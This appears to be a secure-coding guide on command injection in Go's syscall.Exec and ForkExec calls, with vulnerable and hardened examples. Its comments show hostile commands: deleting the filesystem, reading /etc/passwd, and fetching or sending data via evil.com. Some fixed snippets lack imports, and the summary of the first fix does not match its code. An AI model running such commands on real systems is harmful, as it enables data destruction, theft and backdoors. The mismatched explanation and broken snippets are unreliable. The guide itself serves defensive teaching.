Command injection from untrusted arguments in syscall.Exec/ForkExec calls

Critical Risk command-injection
gocommand-injectionsyscallexecforkexecrcesystem-calls

What it is

A critical security vulnerability where dynamic command or arguments come from user-controlled input and are passed to syscall.Exec/ForkExec, sometimes via a shell -c, allowing injected tokens to be executed. Command injection could let attackers execute arbitrary system commands, exfiltrate data, or take over the host process, leading to full system compromise.

package main

import (
    "syscall"
    "os"
)

// VULNERABLE: User controls executable path
func executeProgram(program string, args []string) error {
    // DANGEROUS: User controls which program executes
    fullArgs := append([]string{program}, args...)
    err := syscall.Exec(program, fullArgs, os.Environ())
    return err
}

// VULNERABLE: Shell command via ForkExec
func runShellCommand(command string) error {
    // DANGEROUS: User command passed to shell
    pid, err := syscall.ForkExec(
        "/bin/sh",
        []string{"sh", "-c", command},
        &syscall.ProcAttr{
            Env:   os.Environ(),
            Files: []uintptr{0, 1, 2},
        },
    )
    if err != nil {
        return err
    }
    
    var status syscall.WaitStatus
    _, err = syscall.Wait4(pid, &status, 0, nil)
    return err
}

// Attack examples:
// executeProgram("/bin/sh", ["-c", "rm -rf /"])
// runShellCommand("ls; cat /etc/passwd")
package main

import (
    "errors"
    "syscall"
    "os"
    "regexp"
)

// Allowed executables with fixed paths
var allowedPrograms = map[string]string{
    "ls": "/usr/bin/ls",
    "wc": "/usr/bin/wc",
}

// SECURE: Allowlist-based syscall.Exec
func executeProgramSafe(progName string, args []string) error {
    // Check if program is allowed
    execPath, exists := allowedPrograms[progName]
    if !exists {
        return errors.New("program not allowed")
    }
    
    // Validate all arguments
    for _, arg := range args {
        if !isValidArgument(arg) {
            return errors.New("invalid argument")
        }
    }
    
    // Execute with fixed path
    fullArgs := append([]string{progName}, args...)
    err := syscall.Exec(execPath, fullArgs, os.Environ())
    return err
}

func isValidArgument(arg string) bool {
    // No shell metacharacters
    pattern := `^[a-zA-Z0-9/._-]+$`
    matched, _ := regexp.MatchString(pattern, arg)
    return matched
}

// SECURE: No shell invocation with ForkExec
func runCommandSafe(filename string) error {
    if !isValidArgument(filename) {
        return errors.New("invalid filename")
    }
    
    // Direct execution, no shell
    pid, err := syscall.ForkExec(
        "/usr/bin/wc",
        []string{"wc", "-l", filename},
        &syscall.ProcAttr{
            Env:   os.Environ(),
            Files: []uintptr{0, 1, 2},
        },
    )
    if err != nil {
        return err
    }
    
    var status syscall.WaitStatus
    _, err = syscall.Wait4(pid, &status, 0, nil)
    return err
}

💡 Why This Fix Works

The vulnerable code uses syscall.Exec and syscall.ForkExec with user-controlled input, allowing arbitrary command execution. The secure version eliminates direct system calls, uses exec.Command with strict validation, implements operation allowlisting, and provides comprehensive input sanitization.

Why it happens

Passing user-controlled data directly as arguments to syscall.Exec or syscall.ForkExec without validation. These low-level system calls execute programs directly, but when user input influences the arguments, attackers can inject additional parameters or modify program behavior.

Root causes

Dynamic Arguments in syscall.Exec Calls

Passing user-controlled data directly as arguments to syscall.Exec or syscall.ForkExec without validation. These low-level system calls execute programs directly, but when user input influences the arguments, attackers can inject additional parameters or modify program behavior.

Preview example – GO
package main

import (
    "syscall"
    "os"
)

// VULNERABLE: User input in syscall.Exec arguments
func executeProgram(program string, userArgs []string) error {
    // DANGEROUS: User controls both program and arguments
    args := append([]string{program}, userArgs...)
    
    // Direct system call with user input
    err := syscall.Exec(program, args, os.Environ())
    if err != nil {
        return err
    }
    return nil
}

// Attack example:
// executeProgram("/bin/sh", ["-c", "rm -rf / && curl evil.com/steal"])
// executeProgram("/usr/bin/curl", ["evil.com/malware.sh", "-o", "/tmp/backdoor.sh"])

Shell Invocation via syscall.ForkExec

Using syscall.ForkExec to spawn shell processes with user-controlled command strings. This allows shell metacharacter injection and arbitrary command execution through shell interpretation of the user input.

Preview example – GO
package main

import (
    "syscall"
    "os"
)

// VULNERABLE: Shell command via ForkExec
func runShellCommand(command string) error {
    // DANGEROUS: Shell execution with user command
    pid, err := syscall.ForkExec(
        "/bin/sh",
        []string{"sh", "-c", command}, // User controls command
        &syscall.ProcAttr{
            Env:   os.Environ(),
            Files: []uintptr{0, 1, 2}, // stdin, stdout, stderr
        },
    )
    
    if err != nil {
        return err
    }
    
    // Wait for process completion
    var status syscall.WaitStatus
    _, err = syscall.Wait4(pid, &status, 0, nil)
    return err
}

// Attack example:
// runShellCommand("ls; cat /etc/passwd; wget evil.com/backdoor")

Fixes

1

Use Fixed Executables with Argument Lists

Always use fixed, validated executable paths and pass user data only as separate arguments in a controlled argument list. Never allow user input to control the executable path or invoke shell interpreters.

View implementation – GO
package main

import (
    "syscall"
    "os"
    "regexp"
    "errors"
    "path/filepath"
)

// SECURE: Fixed executable with validated arguments
func executeCommandSafe(operation string, filename string) error {
    // Validate operation against allowlist
    if !isAllowedOperation(operation) {
        return errors.New("operation not allowed")
    }
    
    // Validate filename
    if !isValidFilename(filename) {
        return errors.New("invalid filename")
    }
    
    // Resolve and validate file path
    absPath, err := filepath.Abs(filename)
    if err != nil {
        return err
    }
    
    if !isInAllowedDirectory(absPath) {
        return errors.New("file not in allowed directory")
    }
    
    // Map operation to fixed executable and arguments
    var executable string
    var args []string
    
    switch operation {
    case "count":
        executable = "/usr/bin/wc"
        args = []string{"wc", "-l", absPath}
    case "checksum":
        executable = "/usr/bin/sha256sum"
        args = []string{"sha256sum", absPath}
    case "info":
        executable = "/usr/bin/stat"
        args = []string{"stat", absPath}
    default:
        return errors.New("operation not implemented")
    }
    
    // SECURE: Fixed executable, controlled arguments
    err = syscall.Exec(executable, args, os.Environ())
    return err
}

func isAllowedOperation(op string) bool {
    allowed := map[string]bool{
        "count":    true,
        "checksum": true,
        "info":     true,
    }
    return allowed[op]
}

func isValidFilename(filename string) bool {
    pattern := `^[a-zA-Z0-9._-]+$`
    matched, _ := regexp.MatchString(pattern, filename)
    return matched && len(filename) > 0 && len(filename) <= 255
}

func isInAllowedDirectory(path string) bool {
    allowedDirs := []string{
        "/home/user/documents",
        "/tmp/uploads",
    }
    
    for _, dir := range allowedDirs {
        if strings.HasPrefix(path, dir) {
            return true
        }
    }
    return false
}
2

Implement Comprehensive Argument Validation

Create strict validation for all arguments passed to system calls. Use allowlists for acceptable values, validate argument formats, and reject any input containing shell metacharacters or suspicious patterns.

View implementation – GO
package main

import (
    "syscall"
    "os"
    "regexp"
    "strings"
    "errors"
)

// SECURE: Comprehensive argument validation
func executeSafeCommand(command string, args []string) error {
    // Validate command against strict allowlist
    allowedCommands := map[string]string{
        "list":     "/usr/bin/ls",
        "count":    "/usr/bin/wc",
        "checksum": "/usr/bin/sha256sum",
    }
    
    executable, exists := allowedCommands[command]
    if !exists {
        return errors.New("command not allowed")
    }
    
    // Validate all arguments
    validatedArgs := []string{command} // First arg is program name
    for _, arg := range args {
        if !isValidArgument(arg) {
            return errors.New("invalid argument: " + arg)
        }
        validatedArgs = append(validatedArgs, arg)
    }
    
    // Limit number of arguments
    if len(validatedArgs) > 10 {
        return errors.New("too many arguments")
    }
    
    // Create restricted environment
    env := createRestrictedEnvironment()
    
    // SECURE: Execute with validated inputs
    err := syscall.Exec(executable, validatedArgs, env)
    return err
}

func isValidArgument(arg string) bool {
    // Length check
    if len(arg) == 0 || len(arg) > 1000 {
        return false
    }
    
    // Character allowlist - only safe characters
    pattern := `^[a-zA-Z0-9./_ -]+$`
    matched, err := regexp.MatchString(pattern, arg)
    if err != nil || !matched {
        return false
    }
    
    // Check for shell metacharacters
    prohibited := []string{
        ";", "|", "&", "$", "`", "(", ")", "<", ">",
        "*", "?", "[", "]", "{", "}", "~", "#",
    }
    
    for _, char := range prohibited {
        if strings.Contains(arg, char) {
            return false
        }
    }
    
    // No control characters
    for _, b := range []byte(arg) {
        if b < 32 && b != 9 && b != 10 && b != 13 {
            return false
        }
    }
    
    // No directory traversal
    if strings.Contains(arg, "..") {
        return false
    }
    
    return true
}

func createRestrictedEnvironment() []string {
    // Minimal, safe environment variables
    return []string{
        "PATH=/usr/bin:/bin",
        "HOME=/tmp",
        "USER=nobody",
        "LANG=C",
    }
}
3

Use Higher-Level APIs Instead of Direct System Calls

Replace direct syscall.Exec/ForkExec usage with higher-level APIs like exec.Command or native Go libraries. These provide better security controls and are less prone to injection vulnerabilities.

View implementation – GO
package main

import (
    "os/exec"
    "context"
    "time"
    "errors"
    "syscall"
)

// SECURE: Using exec.Command instead of direct syscalls
func executeCommandSecure(operation string, args []string) error {
    // Validate operation
    cmdConfig, exists := getCommandConfig(operation)
    if !exists {
        return errors.New("operation not allowed")
    }
    
    // Validate arguments
    validatedArgs, err := validateArguments(args, cmdConfig.maxArgs)
    if err != nil {
        return err
    }
    
    // Create command with timeout
    ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
    defer cancel()
    
    // SECURE: Use exec.Command with controlled inputs
    allArgs := append(cmdConfig.baseArgs, validatedArgs...)
    cmd := exec.CommandContext(ctx, cmdConfig.executable, allArgs...)
    
    // Set restricted environment
    cmd.Env = createSafeEnvironment()
    
    // Set process group for better process management
    cmd.SysProcAttr = &syscall.SysProcAttr{
        Setpgid: true,
    }
    
    // Execute and capture output
    output, err := cmd.Output()
    if err != nil {
        return err
    }
    
    fmt.Printf("Output: %s\n", output)
    return nil
}

type CommandConfig struct {
    executable string
    baseArgs   []string
    maxArgs    int
}

func getCommandConfig(operation string) (CommandConfig, bool) {
    configs := map[string]CommandConfig{
        "list": {
            executable: "/usr/bin/ls",
            baseArgs:   []string{"-la"},
            maxArgs:    5,
        },
        "count": {
            executable: "/usr/bin/wc",
            baseArgs:   []string{"-l"},
            maxArgs:    10,
        },
        "checksum": {
            executable: "/usr/bin/sha256sum",
            baseArgs:   []string{},
            maxArgs:    5,
        },
    }
    
    config, exists := configs[operation]
    return config, exists
}

func validateArguments(args []string, maxArgs int) ([]string, error) {
    if len(args) > maxArgs {
        return nil, errors.New("too many arguments")
    }
    
    validated := make([]string, 0, len(args))
    for _, arg := range args {
        if !isValidArgument(arg) {
            return nil, errors.New("invalid argument: " + arg)
        }
        validated = append(validated, arg)
    }
    
    return validated, nil
}

func createSafeEnvironment() []string {
    return []string{
        "PATH=/usr/bin:/bin",
        "HOME=/tmp",
        "USER=nobody",
        "LANG=C",
        "LC_ALL=C",
    }
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies command injection from untrusted arguments in syscall.exec/forkexec calls and many other security issues in your codebase.